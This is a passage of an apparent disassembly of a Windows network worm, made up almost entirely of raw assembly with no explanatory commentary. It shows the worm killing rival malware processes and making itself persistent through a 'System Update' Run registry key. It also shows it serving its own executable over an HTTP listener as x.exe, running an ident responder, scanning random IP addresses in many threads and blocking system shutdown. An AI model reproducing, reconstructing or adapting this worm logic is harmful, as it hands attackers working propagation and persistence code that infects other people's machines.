push ebx call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jnz short loc_31501A93 push 1 jmp loc_31501B4E ; --------------------------------------------------------------------------- loc_31501A93: ; CODE XREF: sub_31501A62+28j mov esi, dword_31501120 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31501B5E lea eax, [ebp+var_100] push offset a_exe ; ".exe" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31501B5E mov esi, dword_3150119C push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi ; send push ds:dword_31506160 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_3150113C ; wsprintfA add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_31503A3E ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi ; send loc_31501B10: ; CODE XREF: sub_31501A62+E8j mov eax, ds:dword_31506160 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_31501B22 mov eax, ecx loc_31501B22: ; CODE XREF: sub_31501A62+BCj test eax, eax jz short loc_31501B51 push 0 push eax mov eax, ds:dword_31506158 add eax, edi push eax push ebx call esi ; send cmp eax, 0FFFFFFFFh jz short loc_31501B4C cmp eax, 1000h jb short loc_31501B51 push 64h add edi, eax call dword_315010A4 ; Sleep jmp short loc_31501B10 ; --------------------------------------------------------------------------- loc_31501B4C: ; CODE XREF: sub_31501A62+D5j push 2 loc_31501B4E: ; CODE XREF: sub_31501A62+2Cj pop eax jmp short loc_31501BA1 ; --------------------------------------------------------------------------- loc_31501B51: ; CODE XREF: sub_31501A62+C2j ; sub_31501A62+DCj push offset dword_3150615C call dword_315010E4 ; InterlockedIncrement jmp short loc_31501B7C ; --------------------------------------------------------------------------- loc_31501B5E: ; CODE XREF: sub_31501A62+49j ; sub_31501A62+61j mov esi, dword_3150119C push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi ; send push 0 push 3 push offset dword_31505A84 push ebx call esi ; send loc_31501B7C: ; CODE XREF: sub_31501A62+FAj push 7D0h call dword_315010A4 ; Sleep push 2 push ebx call dword_315011A4 ; shutdown push ebx call dword_315011A8 ; closesocket push 0 call dword_315010E0 ; ExitThread xor eax, eax loc_31501BA1: ; CODE XREF: sub_31501A62+EDj pop edi pop esi pop ebx leave retn 4 sub_31501A62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501BA8 proc near ; DATA XREF: sub_31501D96+14Bo var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_315018BA lea eax, [ebp+var_130] push 104h push eax push offset aSystemUpdate ; "System Update" xor ebx, ebx push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov ds:dword_3150615C, ebx call sub_315023E4 add esp, 14h test eax, eax jnz loc_31501CDD push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_315010F0 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31501C14 push 1 call dword_315010E0 ; ExitThread loc_31501C14: ; CODE XREF: sub_31501BA8+62j push ebx push esi call dword_315010EC ; GetFileSize push eax mov ds:dword_31506160, eax call sub_31502800 pop ecx mov ds:dword_31506158, eax lea ecx, [ebp+var_4] push ebx push ecx push ds:dword_31506160 push eax push esi call dword_315010E8 ; ReadFile mov eax, [ebp+var_4] push esi mov ds:dword_31506160, eax call dword_315010BC ; CloseHandle push ebx push 1 push 2 call dword_3150118C ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_31503A38 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_31501C76: ; CODE XREF: sub_31501BA8+E5j ; sub_31501BA8+EDj ... call dword_31501124 ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov ds:dword_3150618C, eax jz short loc_31501C76 xor ecx, ecx mov cl, ah test cl, cl jz short loc_31501C76 push eax call dword_31501194 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31501170 ; bind test eax, eax jnz short loc_31501C76 push 64h push edi call dword_31501174 ; listen mov [ebp+var_8], esi pop esi loc_31501CBF: ; CODE XREF: sub_31501BA8+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_31501178 ; accept push eax push offset sub_31501A62 call sub_31501911 pop ecx pop ecx jmp short loc_31501CBF ; --------------------------------------------------------------------------- loc_31501CDD: ; CODE XREF: sub_31501BA8+3Dj push ebx call dword_315010E0 ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_31501BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501CEC proc near ; CODE XREF: sub_31501D96:loc_31501EB6p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_3150116C push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_31501CEC endp ; --------------------------------------------------------------------------- loc_31501D18: ; CODE XREF: UPX1:31508558j push 0 call dword_315010C4 ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov ds:dword_31506190, eax call dword_31501094 ; DeleteFileA call sub_315018BA push offset aUterm13_2i ; "uterm13.2i" call sub_315018E8 pop ecx mov ds:dword_31506164, eax call dword_31501098 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_31501D5A push 1 call dword_3150109C ; ExitProcess loc_31501D5A: ; CODE XREF: UPX0:31501D50j call sub_31501727 call sub_31502548 call sub_315026C2 push offset sub_31501D96 call sub_315017AF test eax, eax pop ecx jz short loc_31501D7F push 0 call sub_31501D96 loc_31501D7F: ; CODE XREF: UPX0:31501D76j xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_31501D82 proc near ; CODE XREF: sub_31501D96:loc_31501F04p ; sub_315020C4:loc_315020DDp ... push 0 push ds:dword_31506168 call dword_31501090 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_31501D82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501D96 proc near ; CODE XREF: UPX0:31501D7Ap ; DATA XREF: UPX0:31501D69o var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_315011B0 push offset loc_31503A80 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi push offset aU13_2ix ; "u13.2ix" xor edi, edi push edi push 1 push edi call dword_3150108C ; CreateEventA mov ds:dword_31506168, eax mov [ebp+var_4], edi push offset aU10x ; "u10x" call sub_31501A48 mov [esp+8+var_8], offset aU11x ; "u11x" call sub_31501A48 mov [esp+8+var_8], offset aU12x ; "u12x" call sub_31501A48 mov [esp+8+var_8], offset aU13x ; "u13x" call sub_31501A48 mov [esp+8+var_8], offset aU13ix ; "u13ix" call sub_31501A48 mov [esp+8+var_8], offset aU8 ; "u8" call sub_315018E8 mov [esp+8+var_8], offset aU9 ; "u9" call sub_315018E8 mov [esp+8+var_8], offset aU10 ; "u10" call sub_315018E8 mov [esp+8+var_8], offset aU11 ; "u11" call sub_315018E8 mov [esp+8+var_8], offset aU12 ; "u12" call sub_315018E8 mov [esp+8+var_8], offset aU13 ; "u13" call sub_315018E8 mov [esp+8+var_8], offset aU13i ; "u13i" call sub_315018E8 mov [esp+8+var_8], offset aU13_2i ; "u13.2i" call sub_315018E8 mov [esp+8+var_8], offset aU14 ; "u14" call sub_315018E8 pop ecx cmp [ebp+arg_0], edi jz short loc_31501EB6 push offset aWs2_32 ; "ws2_32" mov esi, dword_315010B4 call esi ; LoadLibraryA push offset aWininet ; "wininet" call esi ; LoadLibraryA push offset aMsvcrt ; "msvcrt" call esi ; LoadLibraryA push offset aAdvapi32 ; "advapi32" call esi ; LoadLibraryA push offset aUser32 ; "user32" call esi ; LoadLibraryA push offset aUterm13_2i ; "uterm13.2i" call sub_315018E8 pop ecx mov ds:dword_31506164, eax loc_31501EB6: ; CODE XREF: sub_31501D96+E5j call sub_31501CEC push edi push offset sub_31501F6B call sub_31501911 pop ecx pop ecx push 1F4h mov esi, dword_315010A4 call esi ; Sleep push edi push offset loc_31503408 call sub_315018F7 push edi push offset sub_31501BA8 call sub_315018F7 push edi push offset sub_31502BE8 call sub_315018F7 push edi push offset loc_315022D3 call sub_315018F7 add esp, 20h loc_31501F04: ; CODE XREF: sub_31501D96+185j call sub_31501D82 test eax, eax jnz short loc_31501F1D push edi call dword_31501038 ; AbortSystemShutdownA push 1388h call esi ; Sleep jmp short loc_31501F04 ; --------------------------------------------------------------------------- loc_31501F1D: ; CODE XREF: sub_31501D96+175j or [ebp+var_4], 0FFFFFFFFh call nullsub_1 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_31501D96 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_31501F3A proc near ; CODE XREF: sub_31501F6B+F9p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_31503A3E ; strlen test eax, eax pop ecx jbe short loc_31501F68 loc_31501F4D: ; CODE XREF: sub_31501F3A+2Cj mov al, [esi+edi] cmp al, 0Ah jz short loc_31501F58 cmp al, 0Dh jnz short loc_31501F5C loc_31501F58: ; CODE XREF: sub_31501F3A+18j and byte ptr [esi+edi], 0 loc_31501F5C: ; CODE XREF: sub_31501F3A+1Cj push edi inc esi call sub_31503A3E ; strlen cmp esi, eax pop ecx jb short loc_31501F4D loc_31501F68: ; CODE XREF: sub_31501F3A+11j pop edi pop esi retn sub_31501F3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501F6B proc near ; DATA XREF: sub_31501D96+126o var_154 = dword ptr -154h var_148 = byte ptr -148h var_48 = byte ptr -48h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 148h push ebx mov [ebp+var_8], esp call sub_315018BA call dword_31501124 ; rand push 4 cdq pop ecx idiv ecx lea eax, [ebp+var_48] add edx, 3 push edx push eax call sub_31501932 lea eax, [ebp+var_48] mov ebx, offset dword_3150616C push eax push ebx call sub_31503A8C ; strcpy add esp, 10h mov [ebp+var_4], 10h push 0 push 1 push 2 call dword_3150118C ; socket push 0 mov [ebp+var_8], eax mov [ebp+var_18], 2 call dword_31501168 ; ntohl push 71h mov [ebp+var_14], eax call dword_31501194 ; ntohs push [ebp+var_4] mov [ebp+var_16], ax lea eax, [ebp+var_18] push eax push [ebp+var_8] call dword_31501170 ; bind test eax, eax jz short loc_31501FF7 push 1 pop eax loc_31501FF2: ; CODE XREF: sub_31501F6B+A2j pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_31501FF7: ; CODE XREF: sub_31501F6B+82j push esi push edi push 5 push [ebp+var_8] call dword_31501174 ; listen test eax, eax jz short loc_3150200F push 1 pop eax pop edi pop esi jmp short loc_31501FF2 ; --------------------------------------------------------------------------- loc_3150200F: ; CODE XREF: sub_31501F6B+9Bj mov edi, dword_315010A4 loc_31502015: ; CODE XREF: sub_31501F6B+C6j ; sub_31501F6B+E8j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+var_8] call dword_31501178 ; accept mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31502033 push 64h call edi ; Sleep jmp short loc_31502015 ; --------------------------------------------------------------------------- loc_31502033: ; CODE XREF: sub_31501F6B+C0j push 0 lea eax, [ebp+var_148] push 100h push eax push esi call dword_315011A0 ; recv test eax, eax jnz short loc_31502055 loc_3150204C: ; CODE XREF: sub_31501F6B+157j push esi call dword_315011A8 ; closesocket jmp short loc_31502015 ; --------------------------------------------------------------------------- loc_31502055: ; CODE XREF: sub_31501F6B+DFj and [ebp+eax+var_148], 0 lea eax, [ebp+var_148] push eax call sub_31501F3A lea eax, [ebp+var_148] mov [esp+154h+var_154], offset aUseridUnix ; " : USERID : UNIX : " push eax call sub_31503A86 ; strcat lea eax, [ebp+var_148] push ebx push eax call sub_31503A86 ; strcat lea eax, [ebp+var_148] push offset asc_31505B8C ; "\r\n" push eax call sub_31503A86 ; strcat add esp, 18h lea eax, [ebp+var_148] push 0 push eax call sub_31503A3E ; strlen pop ecx push eax lea eax, [ebp+var_148] push eax push esi call dword_3150119C ; send push 1388h call edi ; Sleep jmp short loc_3150204C sub_31501F6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315020C4 proc near ; DATA XREF: sub_31502128+55o ; sub_315021B0+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_315020D3 push 1 pop eax jmp short locret_31502124 ; --------------------------------------------------------------------------- loc_315020D3: ; CODE XREF: sub_315020C4+8j mov al, byte ptr [ebp+arg_0+3] push ebx push esi mov [ebp+var_1], al xor bl, bl loc_315020DD: ; CODE XREF: sub_315020C4+5Aj call sub_31501D82 test eax, eax jnz short loc_31502120 call sub_31501A32 test eax, eax jz short loc_31502120 cmp [ebp+var_1], bl jz short loc_31502119 mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_315011C0 movzx esi, ds:word_3150619C pop ecx call dword_31501124 ; rand cdq idiv esi add edx, esi push edx call dword_315010A4 ; Sleep loc_31502119: ; CODE XREF: sub_315020C4+2Ej inc bl cmp bl, 0FFh jb short loc_315020DD loc_31502120: ; CODE XREF: sub_315020C4+20j ; sub_315020C4+29j pop esi xor eax, eax pop ebx locret_31502124: ; CODE XREF: sub_315020C4+Dj leave retn 4 sub_315020C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502128 proc near ; DATA XREF: sub_315021B0+7Eo ; UPX0:31502365o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31502136 push 1 pop eax jmp short loc_315021AC ; --------------------------------------------------------------------------- loc_31502136: ; CODE XREF: sub_31502128+7j push ebx push esi push edi call sub_315018BA mov esi, dword_31501124 xor ebx, ebx loc_31502146: ; CODE XREF: sub_31502128+7Dj call sub_31501D82 test eax, eax jnz short loc_315021A7 call sub_31501A32 test eax, eax jz short loc_315021A7 call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_31506194 mov byte ptr [ebp+arg_0+3], al call dword_315010E4 ; InterlockedIncrement push [ebp+arg_0] call sub_315011C0 test eax, eax pop ecx jnz short loc_31502189 push [ebp+arg_0] push offset sub_315020C4 call sub_31501911 pop ecx pop ecx loc_31502189: ; CODE XREF: sub_31502128+50j movzx edi, ds:word_3150619C call esi ; rand cdq idiv edi add edx, edi push edx call dword_315010A4 ; Sleep inc ebx cmp ebx, 8000h jl short loc_31502146 loc_315021A7: ; CODE XREF: sub_31502128+25j ; sub_31502128+2Ej pop edi pop esi xor eax, eax pop ebx loc_315021AC: ; CODE XREF: sub_31502128+Cj pop ebp retn 4 sub_31502128 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315021B0 proc near ; DATA XREF: UPX0:3150237Do var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_315018BA call sub_31501D82 test eax, eax jnz loc_31502269 push ebx mov ebx, dword_315010A4 push esi mov esi, dword_31501124 push edi loc_315021D6: ; CODE XREF: sub_315021B0+48j ; sub_315021B0+B0j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_315021E5: ; CODE XREF: sub_315021B0+3Cj call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_315021E5 call sub_315019F3 mov edi, [ebp+var_4] cmp edi, eax jz short loc_315021D6 call sub_31501A32 test eax, eax jz short loc_31502241 push offset dword_31506194 call dword_315010E4 ; InterlockedIncrement push edi call sub_315011C0 test eax, eax pop ecx jnz short loc_31502248 push edi push offset sub_315020C4 call sub_31501911 pop ecx mov [ebp+var_8], 4 pop ecx loc_3150222D: ; CODE XREF: sub_315021B0+8Dj push edi push offset sub_31502128 call sub_31501911 dec [ebp+var_8] pop ecx pop ecx jnz short loc_3150222D jmp short loc_31502248 ; --------------------------------------------------------------------------- loc_31502241: ; CODE XREF: sub_315021B0+51j push 2710h call ebx ; Sleep loc_31502248: ; CODE XREF: sub_315021B0+67j ; sub_315021B0+8Fj movzx edi, ds:word_3150619C call esi ; rand cdq idiv edi add edx, edi push edx call ebx ; Sleep call sub_31501D82 test eax, eax jz loc_315021D6 pop edi pop esi pop ebx loc_31502269: ; CODE XREF: sub_315021B0+11j push 0 call dword_315010E0 ; ExitThread xor eax, eax leave retn 4 sub_315021B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502277 proc near ; CODE XREF: UPX0:loc_3150233Ep ; UPX0:loc_315023A8p var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_315019F3 push eax call dword_31501190 ; inet_ntoa mov esi, dword_31501088 push eax lea eax, [ebp+var_28] push eax call esi ; lstrcpyA push ds:dword_3150618C lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_3150113C ; wsprintfA add esp, 10h lea eax, [ebp+var_50] push eax push offset word_31505002 call esi ; lstrcpyA push offset byte_31505000 call dword_315010A0 ; lstrlenA mov byte_31505000[eax], 0DFh pop esi leave retn sub_31502277 endp ; --------------------------------------------------------------------------- loc_315022D3: ; DATA XREF: sub_31501D96+161o push ecx push ecx push ebx push ebp push esi xor ebp, ebp push edi mov ds:dword_31506194, ebp call sub_31501A32 mov esi, dword_315010A4 mov edi, 1388h test eax, eax jnz short loc_31502301 loc_315022F5: ; CODE XREF: UPX0:315022FFj push edi call esi ; Sleep call sub_31501A32 test eax, eax jz short loc_315022F5 loc_31502301: ; CODE XREF: UPX0:315022F3j lea eax, [esp+14h] push ebp push eax call dword_3150115C ; InternetGetConnectedState test byte ptr [esp+14h], 2 push 50h mov ds:dword_31506198, ebp pop ebx mov ds:word_3150619C, 96h jz short loc_3150233E mov ds:dword_31506198, 1 mov ebx, 15Eh mov ds:word_3150619C, 14h loc_3150233E: ; CODE XREF: UPX0:31502324j call sub_31502277 mov ebp, [esp+14h] cmp ebp, 100007Fh jz short loc_3150235C push ebp push offset sub_315020C4 call sub_31501911 pop ecx pop ecx loc_3150235C: ; CODE XREF: UPX0:3150234Dj mov dword ptr [esp+10h], 4 loc_31502364: ; CODE XREF: UPX0:31502375j push ebp push offset sub_31502128 call sub_31501911 dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_31502364 test ebx, ebx jle short loc_3150238C loc_3150237B: ; CODE XREF: UPX0:3150238Aj push 0 push offset sub_315021B0 call sub_31501911 pop ecx dec ebx pop ecx jnz short loc_3150237B loc_3150238C: ; CODE XREF: UPX0:31502379j ; UPX0:31502398j ... call sub_31501A32 test eax, eax jz short loc_3150239A push edi call esi ; Sleep jmp short loc_3150238C ; --------------------------------------------------------------------------- loc_3150239A: ; CODE XREF: UPX0:31502393j ; UPX0:315023A6j call sub_31501A32 test eax, eax jnz short loc_315023A8 push edi call esi ; Sleep jmp short loc_3150239A ; --------------------------------------------------------------------------- loc_315023A8: ; CODE XREF: UPX0:315023A1j call sub_31502277 jmp short loc_3150238C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315023AF proc near ; CODE XREF: sub_31502548+8Cp ; sub_315026C2+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3150102C ; RegOpenKeyExA test eax, eax jnz short loc_315023E2 push [ebp+arg_8] push [ebp+arg_4] call dword_31501030 ; RegDeleteValueA push [ebp+arg_4] call dword_31501034 ; RegCloseKey loc_315023E2: ; CODE XREF: sub_315023AF+1Cj pop ebp retn sub_315023AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315023E4 proc near ; CODE XREF: sub_31501BA8+33p ; sub_31502548+7Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3150102C ; RegOpenKeyExA test eax, eax jz short loc_31502410 push 1 pop eax jmp short loc_3150243A ; --------------------------------------------------------------------------- loc_31502410: ; CODE XREF: sub_315023E4+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31501028 ; RegQueryValueExA test eax, eax jz short loc_3150242F push 2 pop esi loc_3150242F: ; CODE XREF: sub_315023E4+46j push [ebp+arg_10] call dword_31501034 ; RegCloseKey mov eax, esi loc_3150243A: ; CODE XREF: sub_315023E4+2Aj pop esi leave retn sub_315023E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3150243D proc near ; CODE XREF: sub_315025F6+96p ; sub_315026C2+7Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31501020 ; RegCreateKeyExA test eax, eax jz short loc_31502466 push 1 pop eax jmp short loc_3150248D ; --------------------------------------------------------------------------- loc_31502466: ; CODE XREF: sub_3150243D+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31501024 ; RegSetValueExA test eax, eax jz short loc_31502482 push 2 pop esi loc_31502482: ; CODE XREF: sub_3150243D+40j push [ebp+arg_4] call dword_31501034 ; RegCloseKey mov eax, esi loc_3150248D: ; CODE XREF: sub_3150243D+27j pop esi pop ebp retn sub_3150243D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502490 proc near ; CODE XREF: sub_31502548+98p var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_315010A0 ; lstrlenA mov esi, eax dec esi test esi, esi jle loc_31502544 loc_315024B0: ; CODE XREF: sub_31502490+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_315024B9 dec esi jns short loc_315024B0 loc_315024B9: ; CODE XREF: sub_31502490+24j push 0 push 2 call sub_31503ABC ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_31502544 push 128h lea eax, [ebp+var_128] push 0 push eax call sub_31503A38 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_31503AB6 ; Process32First test eax, eax jz short loc_31502544 lea esi, [esi+ebx+1] loc_31502501: ; CODE XREF: sub_31502490+B2j lea eax, [ebp+var_104] push eax push esi call dword_31501120 ; strstr pop ecx test eax, eax pop ecx jz short loc_31502531 push [ebp+var_120] push 0 push 1F0FFFh call dword_315010C0 ; OpenProcess push 0 push eax call dword_31501080 ; TerminateProcess loc_31502531: ; CODE XREF: sub_31502490+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_31503AB0 ; Process32Next test eax, eax jnz short loc_31502501 loc_31502544: ; CODE XREF: sub_31502490+1Aj ; sub_31502490+38j ... pop esi pop ebx leave retn sub_31502490 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502548 proc near ; CODE XREF: UPX0:31501D5Fp var_138 = byte ptr -138h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 138h push ebx push esi lea eax, [ebp+var_30] push edi mov [ebp+var_30], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_2C], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_28], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_24], offset aBotLoader ; "Bot Loader" mov [ebp+var_20], offset aSystray ; "SysTray" mov [ebp+var_1C], offset aWinupdate ; "WinUpdate" mov [ebp+var_18], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_14], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_10], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_C], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_4], eax mov [ebp+var_8], 0Ah mov edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_315025B1: ; CODE XREF: sub_31502548+A7j mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_138] push eax push ebx push edi push esi call sub_315023E4 add esp, 14h test eax, eax jnz short loc_315025E8 push ebx push edi push esi call sub_315023AF lea eax, [ebp+var_138] push eax call sub_31502490 add esp, 10h loc_315025E8: ; CODE XREF: sub_31502548+87j add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_315025B1 pop edi pop esi pop ebx leave retn sub_31502548 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315025F6 proc near ; CODE XREF: sub_315026C2+D1p ; sub_315026C2+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_3150260B push [ebp+arg_0] call dword_31501094 ; DeleteFileA loc_3150260B: ; CODE XREF: sub_315025F6+Aj lea eax, [ebp+var_78] push 63h push eax call dword_31501068 ; GetSystemDirectoryA test eax, eax jz locret_315026C0 push esi call dword_31501124 ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_31501932 mov esi, dword_3150106C pop ecx pop ecx lea eax, [ebp+var_14] push offset a_exe ; ".exe" push eax call esi ; lstrcatA lea eax, [ebp+var_78] push offset asc_31505CF0 ; "\\" push eax call esi ; lstrcatA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcatA lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31501070 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_315010A0 ; lstrlenA inc eax push eax lea eax, [ebp+var_78] push eax push offset aSystemUpdate ; "System Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_3150243D add esp, 14h push ds:dword_31506164 call dword_315010BC ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_31501074 ; WinExec push 1F4h call dword_315010A4 ; Sleep push 0 call dword_3150109C ; ExitProcess pop esi locret_315026C0: ; CODE XREF: sub_315025F6+23j leave retn sub_315025F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315026C2 proc near ; CODE XREF: UPX0:31501D64p var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_31501060 ; GetModuleFileNameA test eax, eax jz loc_315027FB and ds:dword_315061A0, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_315023E4 add esp, 14h test eax, eax jz short loc_31502748 call dword_31501124 ; rand push 0Ah mov ebx, offset aDfashnzdsdl ; "dfashnzdsdl" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_31501932 pop ecx pop ecx push ebx call dword_315010A0 ; lstrlenA inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_3150243D add esp, 14h jmp short loc_31502757 ; --------------------------------------------------------------------------- loc_31502748: ; CODE XREF: sub_315026C2+4Dj lea eax, [ebp+var_20] push eax push offset aDfashnzdsdl ; "dfashnzdsdl" call dword_31501088 ; lstrcpyA loc_31502757: ; CODE XREF: sub_315026C2+84j lea eax, [ebp+var_E8] push 63h push eax push offset aSystemUpdate ; "System Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_315023E4 add esp, 14h test eax, eax jz short loc_3150279D push 2 push offset a1 ; "1" push offset aClient ; "Client" push edi push esi call sub_3150243D lea eax, 